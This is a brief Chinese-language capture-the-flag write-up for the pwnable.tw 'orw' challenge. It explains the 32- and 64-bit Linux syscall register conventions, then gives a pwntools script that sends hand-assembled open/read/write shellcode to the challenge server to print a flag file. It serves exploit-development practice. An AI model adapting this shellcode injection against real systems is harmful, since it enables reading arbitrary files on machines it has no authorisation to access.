考验我们直接编写shellcode的能力,这里注意
对于32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值储存到eax寄存器。
对于64位程序,应调用syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。
exp:
from pwn import *
context.binary = './orw'
#p = process('./orw')
p = remote('chall.pwnable.tw', 10001)
shellcode = asm(
#fd = open('/home/orw/flag',0)
'''
push 0x00006761;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ecx, 0x0;
mov ebx, esp;
mov eax, 0x5;
int 0x80;
'''
#read(fd,bss+0x200,0x40)
'''
mov ebx, eax;
mov ecx, 0x0804A260;
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
'''
#write(1,bss+0x200,0x40)
'''
mov ebx, 0x1;
mov ecx, 0x0804A260;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
'''
)
p.sendline(shellcode)
p.interactive()
参考文章: